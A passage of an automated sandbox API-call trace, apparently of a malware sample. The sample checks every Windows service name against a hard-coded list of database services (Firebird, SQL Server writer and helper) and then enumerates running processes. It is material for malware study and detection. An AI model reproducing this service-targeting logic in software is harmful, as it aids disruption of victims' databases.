lpString2="Dhcp") returned 1 [0279.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0279.781] lstrlenW (lpString="Dnscache") returned 8 [0279.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0279.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0279.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0279.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0279.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0279.781] lstrlenW (lpString="DPS") returned 3 [0279.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0279.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0279.781] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0279.781] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0279.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0279.781] lstrlenW (lpString="DusmSvc") returned 7 [0279.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0279.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0279.782] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0279.782] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0279.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0279.782] lstrlenW (lpString="EventLog") returned 8 [0279.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0279.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0279.782] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0279.782] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0279.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0279.782] lstrlenW (lpString="EventSystem") returned 11 [0279.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0279.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0279.782] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0279.782] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0279.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0279.782] lstrlenW (lpString="FontCache") returned 9 [0279.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0279.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0279.782] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0279.782] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0279.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0279.782] lstrlenW (lpString="gpsvc") returned 5 [0279.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0279.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0279.782] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0279.782] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0279.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0279.782] lstrlenW (lpString="iphlpsvc") returned 8 [0279.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0279.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0279.782] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0279.782] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0279.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0279.783] lstrlenW (lpString="KeyIso") returned 6 [0279.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0279.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0279.783] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0279.783] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0279.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0279.783] lstrlenW (lpString="LanmanServer") returned 12 [0279.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0279.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0279.783] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0279.783] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0279.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0279.783] lstrlenW (lpString="LanmanWorkstation") returned 17 [0279.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0279.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0279.783] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0279.783] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0279.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0279.783] lstrlenW (lpString="lfsvc") returned 5 [0279.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0279.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0279.783] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0279.783] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0279.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0279.783] lstrlenW (lpString="lmhosts") returned 7 [0279.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0279.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0279.783] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0279.783] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0279.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0279.783] lstrlenW (lpString="LSM") returned 3 [0279.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0279.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0279.784] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0279.784] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0279.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0279.784] lstrlenW (lpString="MpsSvc") returned 6 [0279.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0279.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0279.784] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0279.784] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0279.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0279.784] lstrlenW (lpString="NcbService") returned 10 [0279.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0279.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0279.784] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0279.784] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0279.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0279.784] lstrlenW (lpString="netprofm") returned 8 [0279.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0279.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0279.784] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0279.784] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0279.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0279.784] lstrlenW (lpString="NgcSvc") returned 6 [0279.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0279.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0279.784] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0279.784] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0279.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0279.784] lstrlenW (lpString="NlaSvc") returned 6 [0279.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0279.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0279.784] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0279.784] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0279.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0279.785] lstrlenW (lpString="nsi") returned 3 [0279.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0279.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0279.785] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0279.785] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0279.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0279.785] lstrlenW (lpString="PcaSvc") returned 6 [0279.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0279.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0279.785] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0279.785] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0279.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0279.785] lstrlenW (lpString="PlugPlay") returned 8 [0279.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0279.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0279.785] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0279.785] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0279.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0279.785] lstrlenW (lpString="Power") returned 5 [0279.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0279.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0279.785] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0279.785] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0279.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0279.785] lstrlenW (lpString="ProfSvc") returned 7 [0279.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0279.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0279.785] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0279.785] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0279.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0279.785] lstrlenW (lpString="RpcEptMapper") returned 12 [0279.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0279.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0279.786] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0279.786] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0279.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0279.786] lstrlenW (lpString="RpcSs") returned 5 [0279.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0279.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0279.786] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0279.786] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0279.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0279.786] lstrlenW (lpString="SamSs") returned 5 [0279.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0279.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0279.786] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0279.786] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0279.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0279.786] lstrlenW (lpString="Schedule") returned 8 [0279.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0279.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0279.786] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0279.786] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0279.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0279.786] lstrlenW (lpString="SecurityHealthService") returned 21 [0279.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0279.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0279.786] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0279.786] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0279.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0279.786] lstrlenW (lpString="SENS") returned 4 [0279.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0279.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0279.786] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0279.786] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0279.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0279.787] lstrlenW (lpString="ShellHWDetection") returned 16 [0279.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0279.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0279.787] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0279.787] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0279.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0279.787] lstrlenW (lpString="Spooler") returned 7 [0279.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0279.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0279.787] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0279.787] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0279.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0279.787] lstrlenW (lpString="SSDPSRV") returned 7 [0279.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0279.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0279.787] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0279.787] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0279.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0279.787] lstrlenW (lpString="StateRepository") returned 15 [0279.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0279.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0279.787] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0279.787] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0279.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0279.787] lstrlenW (lpString="SysMain") returned 7 [0279.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0279.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0279.787] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0279.787] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0279.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0279.787] lstrlenW (lpString="SystemEventsBroker") returned 18 [0279.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0279.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0279.788] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0279.788] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0279.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0279.788] lstrlenW (lpString="Themes") returned 6 [0279.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0279.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0279.788] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0279.788] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0279.788] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7d2808 | out: hHeap=0x6e0000) returned 1 [0279.788] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f8 [0279.792] Process32FirstW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.792] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0279.793] lstrlenW (lpString="System") returned 6 [0279.793] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0279.793] lstrlenW (lpString="smss.exe") returned 8 [0279.793] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.794] lstrlenW (lpString="csrss.exe") returned 9 [0279.794] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0279.795] lstrlenW (lpString="wininit.exe") returned 11 [0279.795] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.796] lstrlenW (lpString="csrss.exe") returned 9 [0279.796] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0279.796] lstrlenW (lpString="winlogon.exe") returned 12 [0279.796] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0279.797] lstrlenW (lpString="services.exe") returned 12 [0279.797] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0279.798] lstrlenW (lpString="lsass.exe") returned 9 [0279.798] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0279.798] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0279.798] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0279.799] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0279.799] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.799] lstrlenW (lpString="svchost.exe") returned 11 [0279.800] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.800] lstrlenW (lpString="svchost.exe") returned 11 [0279.800] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0279.801] lstrlenW (lpString="dwm.exe") returned 7 [0279.801] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.801] lstrlenW (lpString="svchost.exe") returned 11 [0279.802] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.802] lstrlenW (lpString="svchost.exe") returned 11 [0279.802] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.803] lstrlenW (lpString="svchost.exe") returned 11 [0279.803] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.803] lstrlenW (lpString="svchost.exe") returned 11 [0279.804] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.804] lstrlenW (lpString="svchost.exe") returned 11 [0279.804] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.805] lstrlenW (lpString="svchost.exe") returned 11 [0279.805] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.805] lstrlenW (lpString="svchost.exe") returned 11 [0279.805] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.806] lstrlenW (lpString="svchost.exe") returned 11 [0279.806] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.807] lstrlenW (lpString="svchost.exe") returned 11 [0279.807] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.807] lstrlenW (lpString="svchost.exe") returned 11 [0279.807] 